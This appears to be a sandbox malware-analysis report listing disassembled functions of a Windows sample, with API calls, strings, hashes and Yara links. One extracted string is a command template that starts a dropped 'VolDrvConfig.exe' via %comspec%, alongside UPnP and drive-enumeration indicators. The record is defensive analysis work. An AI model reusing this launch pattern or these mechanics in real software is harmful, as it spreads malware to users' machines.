Function 0040D860 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D866
GetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,?,000000FF), ref: 0040D86D
GetCurrentThread.KERNEL32 ref: 0040D878
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,?,000000FF), ref: 0040D87F
InterlockedExchangeAdd.KERNEL32(0040805F,00000000), ref: 0040D8A2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D8D7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D922
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D93E
Sleep.KERNEL32(00000001), ref: 0040D96E
GetCurrentThread.KERNEL32 ref: 0040D97D
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F), ref: 0040D984

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: d6bd3df3806ede59070add2f0d7a1f8bc277f5a62d9d5dceae4a540d753efef8
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 80413CB4E00209EBDB14DFE4D848BAEBB75EF44305F10C16AE911A7390D7789A85CF59

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 8c1e587a25cfc232de2ab0883eb36e20e47ed0b1207a5ae34e006e610dd4584e
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: F2519F75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040DE20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Sleep.KERNEL32(000003E8), ref: 0040DE7E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

LOCATION: , xrefs: 0040DEA5
HTTP/1.1 200 OK, xrefs: 0040DE8F

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction ID: cf4c7c589cb5a2b5626e628c2cbe2bc4730fcdb76fc9a6090f7a4287b0899cde
Opcode Fuzzy Hash: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction Fuzzy Hash: C92142B0944218ABDB20CB64DC49BE97774AB14308F1085E9E7197B2C0D7B99ACACF5C

Function 0040EFC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EFD7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EFF6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F01F
InternetCloseHandle.WININET(00000000), ref: 0040F048
InternetCloseHandle.WININET(00000000), ref: 0040F052
Sleep.KERNEL32(000003E8), ref: 0040F05D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EFD2

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction ID: b5bc459e60af10a5ecd3bce89b92fe6334010ad2bd78cd38f87cd536e4e3c5ce
Opcode Fuzzy Hash: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction Fuzzy Hash: 6821FC74A40208FBDB20DF94CC49FDEB775AB44705F1085A5FA11AB2C1C7B96A44CB59

Function 0040B850 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00417F40,?,?,?,?,?,?,00407FE3), ref: 0040B85B
CreateFileW.KERNEL32(00417D28,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B8AD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B8CE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B8ED
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B902
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B968
CloseHandle.KERNEL32(00000000), ref: 0040B972
CloseHandle.KERNEL32(000000FF), ref: 0040B97C

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: 929abe7a9095254e26be5e4d35e4c48d0475e135154847a51b6584f6b16baab1
Instruction ID: 20bf7a335d7b83d19979346108b4db2f5a5138f5ba8950715db26485b9768e75
Opcode Fuzzy Hash: 929abe7a9095254e26be5e4d35e4c48d0475e135154847a51b6584f6b16baab1
Instruction Fuzzy Hash: 84413AB4E40308ABDB10DFA4CC4AFAEB774EB04704F208569E611BA2D1C7B96641CB9D

Function 00405B60 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004174D8,?,?,?,?,?,00407FAD), ref: 00405B6B
CreateFileW.KERNEL32(00417708,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407FAD), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction ID: 3caee3762cbdbcce4f49fb41099d7db393733e6e5b5fc44a0020794708857aa0
Opcode Fuzzy Hash: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction Fuzzy Hash: 51313D74A40308EBEB10DBA4CC4ABAFB774EB44704F208569E601772D0D7B96A81CF99

Function 00406000 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,00000000,0040BE82,006A0266,?,0040BE9E,00000000,0040D17C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(00417708,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(004174D8,?,?,?,?,?,?,0040BE9E,00000000,0040D17C,?), ref: 00406248

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: 2b9af9a80e0350e1b964868311a4eed9a9ef636119a8ca78730ff9e844c2d842
Instruction ID: d2a8f2c597d4f808d2c136561af7b6c80c21d69a530c7dbbc8373d1e9f004416
Opcode Fuzzy Hash: 2b9af9a80e0350e1b964868311a4eed9a9ef636119a8ca78730ff9e844c2d842
Instruction Fuzzy Hash: 6071E0B4E042099BCB04CF98D981FEFBBB1BB48304F14816DE505BB382D779A951CBA5

Function 0040E670 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

serviceType, xrefs: 0040E736
service, xrefs: 0040E723

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction ID: 498a00270a4ac3f3e732f182914c0c13a71c1caacf2de73c52121c1bdff13e9d
Opcode Fuzzy Hash: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction Fuzzy Hash: D5412E74A0020AEFDB04DF95C884FAFB7B9BF48304F108969E515A7390D778AE85CB95

Function 0040E7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

deviceType, xrefs: 0040E896
device, xrefs: 0040E883

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction ID: f37cc5fa491f806f20af1ba12fe7b13e6bb3fdd54c67fa744f8c06207b50935d
Opcode Fuzzy Hash: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction Fuzzy Hash: D1412DB5A0020ADFCB14DF99C884BAFB7B9BF48304F108569E515B7390D778AE85CB94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5e75d3bdf23019904cb63c7272498dca16bbf89365b4ea4552ce7bb9462c7b35
Instruction ID: 6ff3262b9ae864165baf17eb68ae52fc582ecffe48c2a7281556c95dbf3b24cf
Opcode Fuzzy Hash: 5e75d3bdf23019904cb63c7272498dca16bbf89365b4ea4552ce7bb9462c7b35
Instruction Fuzzy Hash: 8C31E172200215ABC710AFB5ED8CAD7B7A8FF54324F00463EF55AD3280DB79A8448B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412A48,00000000,00000001,00412A28,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

/c start %s & start %s\VolDrvConfig.exe, xrefs: 0040644A
Gh@, xrefs: 00406472, 00406475
%comspec%, xrefs: 0040645F

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolDrvConfig.exe$Gh@
API String ID: 2038452267-1238916929
Opcode ID: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction ID: 7d2455aabe9eb384640674d95cb3f7402ea72c7f03b095a020dcafb7bbec31f6
Opcode Fuzzy Hash: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction Fuzzy Hash: 8E31C975A40208EFCB04DF98D885EDEB7B5EF88704F108199F519A73A5CA74AE81CB54

Function 0040E811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

deviceType, xrefs: 0040E896
device, xrefs: 0040E883

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction ID: 0db10e415d6a1e8faee94fa1aa357f29b7cea0d9451b7bd8199af60d13ceb70c
Opcode Fuzzy Hash: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction Fuzzy Hash: 98312AB5E0020ADFCB14DF99D884BAFB7B5BF88304F108569E514B7390D778AA81CB94

Function 0040E6B1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

serviceType, xrefs: 0040E736
service, xrefs: 0040E723

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction ID: f860d819dcfac7245c0065b1f48ab1f28a181454cf029f87bdd60df825f867a0
Opcode Fuzzy Hash: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction Fuzzy Hash: B9311D74A0020A9FCB04CF99D884FEFB7B5BF88304F148969E514B7390D778AA85CB95

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: b3aa12a9ac6c1bea71ad27052cd7355f0876685bd87c0f59df55197cdbb1ba38
Instruction ID: 945b1e68ff25bd35ce4625b60af53a64f9c21a9b46b3aa14aa85a39d9b5f9782
Opcode Fuzzy Hash: b3aa12a9ac6c1bea71ad27052cd7355f0876685bd87c0f59df55197cdbb1ba38
Instruction Fuzzy Hash: 5D310DB4C00218EFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF59

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387
NoDrives, xrefs: 004063B8

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D6F0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714

Part of subcall function 0040D7E0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D820
Part of subcall function 0040D7E0: CloseHandle.KERNEL32(?), ref: 0040D839

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction ID: 832ae4800ebcb00f90e7428fbbdd4da527039cf188cbed956f615c5464689476
Opcode Fuzzy Hash: 79fa7f5129bcfcfc5e35f54f723da72931e91f9957c0ae906c73dd34cb907117
Instruction Fuzzy Hash: 2C31F874A00208EFDB04DF94D889F9EBBB5FB49304F0085A9E905A7390D775AA95CF54

Function 00409440 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944D
_aullshr.NTDLL ref: 0040945E
_allshl.NTDLL ref: 00409480
_aullshr.NTDLL ref: 0040949C
_allshl.NTDLL ref: 004094BE
_aullshr.NTDLL ref: 004094DA

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
